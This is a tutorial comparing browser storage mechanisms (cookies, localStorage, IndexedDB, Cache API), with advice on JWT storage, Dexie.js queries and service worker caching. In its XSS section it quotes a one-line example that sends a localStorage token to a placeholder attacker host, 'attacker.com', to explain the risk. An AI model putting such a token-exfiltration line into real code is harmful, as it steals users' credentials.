Browser Storage Guide: Cookies vs LocalStorage vs IndexedDB vs Cache API
1. The Evolution of Client-Side Persistence
In the early days of the web, everything was stateless. The server had no memory of who you were or what you did on the previous page.
Then came Cookies, small text files that allowed servers to tag browsers like cattle. "This is User #1234."
But cookies were small (4KB) and slow because they travelled with every HTTP request.
As web applications grew into monsters like Gmail and Figma, we needed more power.
We needed to store user preferences, unsaved drafts, cached images, and even entire databases inside the browser.
This led to the "Storage Wars": Web Storage (Local/Session), Web SQL (RIP), IndexedDB, and the modern Cache API.
Today, browsers are not just document viewers; they are operating systems with their own file systems and databases. Let's compare the four titans of browser storage.
2. The Four Pillars of Storage
2.1. Cookies: The Old Guard
Cookies are the grandfathers of web storage. They are primarily designed for Server-Client Communication, not client-side storage.
- Capacity: Tiny (~4KB).
- Lifespan: Configurable (Session or Persistent with
Expires).
- Mechanism: Sent AUTOMATICALLY in the
Cookie header of every HTTP request to the domain.
- Main Use Case: Authentication (Session IDs, JWTs), Tracking (Google Analytics).
- Security:
HttpOnly (blocks JS access), Secure (HTTPS only), SameSite (CSRF protection).
2.2. Web Storage (Local & Session): The Convenient
Introduced in HTML5 to replace cookies for storing data that doesn't need to go to the server. It's a simple Key-Value store.
- Capacity: ~5MB - 10MB per origin.
- Lifespan:
localStorage: Forever (until cleared by JS or user).
sessionStorage: Until the tab is closed.
- Mechanism: Purely client-side. JavaScript API only.
- Sync API:
localStorage.getItem() is synchronous. It blocks the main thread.
- Main Use Case: User preferences (Light/Dark mode), Draft form data.
2.3. IndexedDB: The Powerhouse
A full-blown, transactional NoSQL database embedded in the browser.
- Capacity: Huge. Up to 80% of available disk space (can be gigabytes).
- Mechanism: Asynchronous API (won't freeze UI). Stores JS objects, not just strings. Support for indexes and queries.
- Main Use Case: Offline applications (PWA), caching large datasets, complex state persistence (Redux).
2.4. Cache API: The Network Proxy
Part of the Service Worker specification, but accessible from the window too.
- Use Case: Storing HTTP Request/Response pairs.
- Role: It powers "Offline Mode". You intercept a network request, check if the response is in the Cache API, and return it instantly.
3. Deep Dive: The Security Dilemma (JWT Storage)
The most common question in frontend interviews: "Where should I store my JWT Access Token?"
This is a battle between two vulnerabilities: XSS (Cross-Site Scripting) vs CSRF (Cross-Site Request Forgery).
Scenario A: Storing in LocalStorage
- Pros: Easy to implement. Frontend sends it in the
Authorization: Bearer header. Not vulnerable to CSRF because JS code must explicitly attach the token.
- Cons (Critical): Highly vulnerable to XSS. If an attacker injects a malicious script (e.g., via a compromised npm package or a comment section), they can run
fetch('attacker.com', { body: localStorage.getItem('token') }) and steal your identity instantly.
Scenario B: Storing in Cookies
- Pros: If you use the
HttpOnly flag, JavaScript cannot read the cookie. Even if XSS happens, the attacker cannot steal the token string itself.
- Cons: Vulnerable to CSRF. Because cookies are sent automatically, an attacker can trick you into clicking a link that makes a POST request to your bank.
- Fix: Modern browsers and servers support the
SameSite=Strict or SameSite=Lax attribute, which largely mitigates CSRF. Anti-CSRF tokens in forms are also a standard defense.
The Verdict
HttpOnly Cookies are generally considered safer for high-value authentication tokens because XSS is much harder to fully prevent than CSRF.
4. IndexedDB: When LocalStorage Isn't Enough
Many developers fear IndexedDB because its native API is famously verbose and complex ("Callback Hell").
However, libraries like idb (by Google) or Dexie.js make it as easy as using LocalStorage.
Why use IndexedDB?
- Performance (Non-blocking): LocalStorage is synchronous. If you serialize/deserialize a 5MB JSON blob on every keypress, your typing will lag. IndexedDB runs on a separate thread context.
- Structured Data: You don't need
JSON.stringify(). You can store Dates, Blobs (Images/Files), and TypedArrays directly.
- Searchability: You can create lightweight indexes. "Find all users where age > 20" is impossible in LocalStorage without loading everything into memory first. In IndexedDB, you use a Cursor to scan the index efficiently.
// Dexie.js Example: A simple DB
const db = new Dexie('FriendDatabase');
db.version(1).stores({
friends: '++id, name, age' // Primary key and indexed props
});
// Adding data
await db.friends.add({ name: "Joseph", age: 21 });
// Querying data
const youngFriends = await db.friends
.where('age').below(25)
.toArray();
5. Caching Strategies with Service Workers
The Cache API enables PWA (Progressive Web Apps) to work offline. But how you usage it depends on your data.
Strategy 1: Cache First (falling back to Network)
"Check cache. If found, return it. If not, fetch from web."
- Best for: Static assets (Images, CSS, JS bundles, Fonts). Things that rarely change (Immutable/Versioned files).
Strategy 2: Network First (falling back to Cache)
"Try to fetch from web. If successful, update cache and return. If offline, return cache."
- Best for: API endpoints where freshness matters (e.g., "Latest News", "Stock Prices").
Strategy 3: Stale-While-Revalidate
"Return the cached version immediately (speed!), but also fetch the new version in the background and update the cache for next time."
- Best for: User profile data, Social media feeds. It provides the "Instant Load" feeling while keeping data relatively fresh.
6. The Future: Storage Buckets and File System Access
The web platform is evolving.
File System Access API
Previously, web apps couldn't touch your hard drive for security reasons.
Now, with user permission, a web app (like VS Code Web or Photoshop Web) can open a file handle to a real file on your desktop, and save changes directly to it. This makes the browser a true OS-level application platform.
Storage Buckets API
Browsers traditionally group all storage by Origin (https://example.com). If disk space is low, the browser might wipe everything for that origin.
Storage Buckets allow developers to segment data:
- "Drafts" Bucket: Mark as "Persistent". Don't delete this easily.
- "Image Cache" Bucket: Mark as "Best Effort". Delete this if disk is full.
This gives more control over eviction policies.
7. Performance Best Practices
- Don't use LocalStorage for Caching: Parsing big JSON strings blocks the main thread. Use Cache API or IndexedDB.
- Use
navigator.storage.estimate(): Check how much quota you have left.
- Persist Permission: Use
navigator.storage.persist() to request that the browser not clear your data under pressure.
- Compression: If storing text in IndexedDB, consider compressing it (e.g., LZ-string) if it's massive, though usually not necessary.
8. Summary Checklist
| Feature | Cookie | LocalStorage | IndexedDB | Cache API |
|---|
| Capacity | 4KB | 5-10MB | GBs | GBs |
| Data Type | String | String | Objects/Binary | Requests |
| Sync/Async | Sync | Sync (Blocker) | Async | Async |
| Server Tx | YES | No | No | No |
| Best For | Auth Tokens | Settings | Data/Offline | Assets |
Choose the right tool for the job. Don't put JWTs in LocalStorage, and don't put your database in Cookies.
The browser is your oyster—store responsibly!